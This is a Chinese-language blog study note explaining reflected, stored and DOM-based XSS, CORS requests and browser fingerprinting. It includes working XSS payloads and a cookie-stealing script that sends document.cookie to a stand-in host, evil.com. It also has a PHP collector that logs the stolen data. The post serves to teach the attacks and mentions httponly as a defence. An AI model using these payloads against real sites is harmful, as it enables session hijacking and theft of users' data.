xss(跨站脚本攻击)

分类

1.反射形XSS

反射形XSS只是把用户输入的数据简单“反射给浏览器”。也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功。在发出请求时,XSS代码出现在URL中,作为输入提交到服务端,服务端解析后响应,在响应中出现这段XSS代码,最后浏览器解析执行。

1.对于以下代码xss.php

1 <?php
2 echo $_GET["x"];
3 ?>
View Code


当我么构造以下URL时,http://127.0.0.1/xss.php?x=<script>alert(1)</script>,服务端解析时,echo就会完整地输出<scirpt>alert(1)</script>到相应体中,然后浏览器解析执行触发

我们也可以这样

     Data   URI协议

    协议格式: data:资源类型;编码,内容

  而在以下代码中

1 <?php
2 header( 'Location:'.$_GET["x"]);
3 ?>
View Code

我们构造以下URL

http://127.0.0.1/xss.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 使用Base64加密的,解密后是<script>alert(1)</script>,

于是,当发生跳转时,就会执行这段JS

           

2.存储形XSS

存储形XSS会把用户入的数据“储存”在服务器。这种XSS具有很强的稳定性

存储形的XSS和反射型的XSS的差别仅仅在于:提交的XSS代码会存储在服务端(不管是数据库,内存,还是文件系统等),下次请求目标页面的时候不用再提交XSS代码。

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS的代码,就当作正常的HTML与js解释执行,于是就触发了XSS攻击。

3.DOMXSS

原因特别,通过DOM操作形成的XSS

如以下页面

设计者的初衷是让用户填写一段url并把其值作为testlink的链接

 攻击者可通过以下两种方式进行攻击(触发javascript代码)

1.onclick()函数--当点击testlink时触发

2.onerror()函数--嵌入一张src不存在的n图片,当访问失败时触发onerror()函数

其实攻击者就是要想方设法的调用js,有onclick,onerror,还有onmouseover,以及在如src或者href这种填写地址的地方填入javascript:你的js

i>:' onclick="alert('xss')"//

第一个单引闭合前面的单引,后面的//去除‘

ii>:'> <img src='' onerror="alert('xss')"><'

’〉用来闭合掉<',而我们再用<'闭合掉后面的'>

中间嵌入的图片无法访问因此导致onerror执行

我们重点是需要考虑到js的输入输出函数。

 作用

1.可盗取cookie

比如诱使用户访问如下URL

http://www.evil.com/test.js

而test.js中包含以下内容

var image =document.createElement("img");

image.src="http://www.evil.com?"+escape(document.cookie);

document.body.appendChild(image);

那么我们会在www.evil.com这台服务器上受到访问者的cookie

通过设置http-only头可以防止cookie被读取。

 

2.可以伪造get,post请求

1.以上盗取cookie则用到了伪造get请求

2.那么我们如何伪造post请求呢?

i>通过javascript进行dom操作构造表单

ii>通过innerHTML直接插入html格式的表单

iii>通过ajax请求的post方法发送数据

i>

ii>

iii>

用burp抓包就可以看到啊!

我们可以对比一下跨域的js代码

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 function createCORSRequest(method,url)
 7 {
 8 var xhr=new XMLHttpRequest();
 9 if("withCredentials" in xhr)
10 {
11 xhr.open(method,url,true)
12 }
13 else if(typeof XDomainRequest!="undefined")
14 {
15 xhr=new XDomainRequest();
16 }
17 else{
18 xhr=null;
19 }
20 return xhr;
21 }
22 var request=createCORSRequest("get","http://www.evil.com/steal.php?data=456");
23 if(request)
24 {
25 request.onload=function()
26 {
27 alert(request.responseText)
28 };
29 request.send();
30 }
31 
32 </script>
33 </body>
34 </html>
View Code

我们来看一下几句代码的解释

"withCredentials”仅仅存在于xmlhttprequest2对象中

 

 

做了一个实验

即使是

steal.pi1hp没有设置steal.php,也可以获得数据

steal.php为

<?php
$file=fopen("test.txt","a");
$data=$_GET['data'];
fwrite($file,$data);
fclose($file);
?>

报文如这般  带上ORigin标签了 

 

 

 

IE下不是用XMLHttpRequest,而是用XDomainRequest();

我的理解是withCredentials与XDomainRequest分别用来表示非ie浏览器与ie浏览器的标志

CORS与ajax的区别还体现在一个是

request.onreadychange,一个是onload

 还有另一个版本的ajax提交POST请求,其实也差不多

1这是

对于CORS目标网站(拿PHP做例子)

header("Access-Control-Allow-Origin:http://www.xxx.xom");

 另,标准的CORS是不会携带Cookie的

,若想携带

需要将withCredentials设置为ture;

需要在服务器里设置Access-Control-Allow-Credentials:true

貌似通过function(){}可以直接指定一个函数

已及在lweb黑客解密这本书中利用js操作dom来提交表单

这个create_elements中是用来创建一条<input>的语句的。

 在余弦大大的书上有一段跨路径的cooki

e访问,可是尝试了好久,并没有成功,跟踪进去都是说o.content.Documentisnull

我觉得是不是,onload函数加载时计算右边的时候contentdocument还没加载完呢?

我把他改了一下可以弹出cookie,但是已经没有了一气呵成的感觉

对于xss攻击一个有效的方式是将cookie设置httponly属性,这样可以有效地防止cookie被读取

对于xss攻击,将cookie设置为httponly

==========================

有时候,我们可以通过xss来识别用户信息(取自自己的浏览器)

1.最简单的方法 

   alert(navigator.userAgent)

 但是,UserAgent是可以伪造的,得到的信息不一定准确。由于浏览器之间的差异,不同的浏览器会各自实现一些独特功能,

 我们采取如下方式

function browser_Sniffer()
{

if(typeof window.opera !="undefined")
     {     
        return "OPera";
     }
else if(typeof window.netscape!="undefined")     
     {
       if (typeof window.Iterator !="undefined")
           {
                if(typeof document.styleSheetSets!="undefined")
                   {
                       return "FireFox3";
                   }
                else
                {
                      return "Firefox2";
                }   
           }
        else   
        {
                 return "mozilla";
        } 
     }
else if(typeof window.pageXOffset !="undefined")     
     {
         try{
             if(typeof external.AddSearchProvider!="undefined")
               {
                 return "Chrome";
               }                                    
            }
         catch(e)    
               {
                 return "Safari";
               }
     }
else if(window.ActiveXObject!="undefined")
{
    if(!window.XMLHttpRequest)
      {
        return "IE6";
      }
    else if(document.documentMode) 
      {
        return "IE8"
      }
    else
      {
        return "IE";
      }    
}     
else
    {
       document.write("unknow");
    }     
}    
document.write(browser_Sniffer());
View Code

这里需要注意,在IE11中window.ActiveXObject!="undefined"

所以无法用这个方法识别。

 

posted @ 2015-07-09 15:40  平何去何  阅读(274)  评论(0)    收藏  举报